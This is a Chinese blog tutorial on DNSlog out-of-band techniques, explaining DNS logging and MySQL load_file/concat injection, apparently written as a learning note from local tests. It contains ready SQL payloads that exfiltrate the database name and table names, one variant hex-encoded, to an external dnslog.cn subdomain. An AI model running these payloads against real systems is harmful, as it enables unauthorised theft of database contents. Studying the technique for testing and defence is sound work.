DNSlog外带原理及注入分析 |
您所在的位置:网站首页 › 域名解析成功是什么意思 › DNSlog外带原理及注入分析 |
前言
最近一直听到DNSlog外带原理等词但对其原理一直只是自己的理解(回显DNS请求后的日志)并没有真正的了解过,所以这里做一下记录。 DNSlog原理DNS DNS(Domain Name System)就是域名系统,负责把域名转换成IP地址;例如向浏览器访问a.com,浏览器就会将其解析成真实的IP访问对应服务器上的服务。 DNSlog DNSlog就是DNS的日志,DNS在域名解析的时候会留下域名和解析IP的记录 DNSlog外带原理 DNS在解析的时候会留下日志,我们将信息放在高级域名中,传递到自己这里,然后通过读日志获取信息。 所以这里跟最初的猜想基本一致,原理也就是通过DNS请求后,通过读取日志来获取我们的请求信息。 DNSlog注入在搜索DNSlog原理时同时看到了DNSlog注入,所以本地测试一块都了解一下 前置知识 Load_file注入主要用到了Load_file函数,功能是读取文件并返回文件内容为字符串。(访问互联网中的文件时,需要在最前面加上两个斜杠 //) 使用本函数有几个前提: 1、首先要有注入点 2、需要有root权限 3、数据库有读写权限即:secure_file_priv=“” 4、得有请求url权限 5、还必须得是windows服务器 D盘中写了个1.txt 通过load_file函数,读取一下 select load_file('D:/1.txt') concat由于在通过load_file外带时是无法执行sql语句的,所以要通过concat函数,将执行的sql语句,与DNS请求的url进行拼接 select concat('Sentiment','\\',(select database())); 本地测试通过DNSlog外带数据库信息 select load_file(concat('//',(select database()),'.je5i3a.dnslog.cn/1.txt'));
外带表名 select load_file(concat('//',(select group_concat(table_name separator '_') from information_schema.tables where table_schema=database()),'.je5i3a.dnslog.cn/1.txt'));
剩下的就是sql注入常规操作了,就不一一列举了 局限性通过本地测试后,发现了一些问题,在url中传递字符有一定的局限性,很多字符是无法传递的,所以在外带时,可以通过十六进制编码绕过符号的局限性 select load_file(concat('//',(select hex(group_concat(table_name separator '_')) from information_schema.tables where table_schema=database()),'.je5i3a.dnslog.cn/1.txt'));
十六进制转字符 |
今日新闻 |
点击排行 |
|
推荐新闻 |
图片新闻 |
|
专题文章 |
CopyRight 2018-2019 实验室设备网 版权所有 win10的实时保护怎么永久关闭 |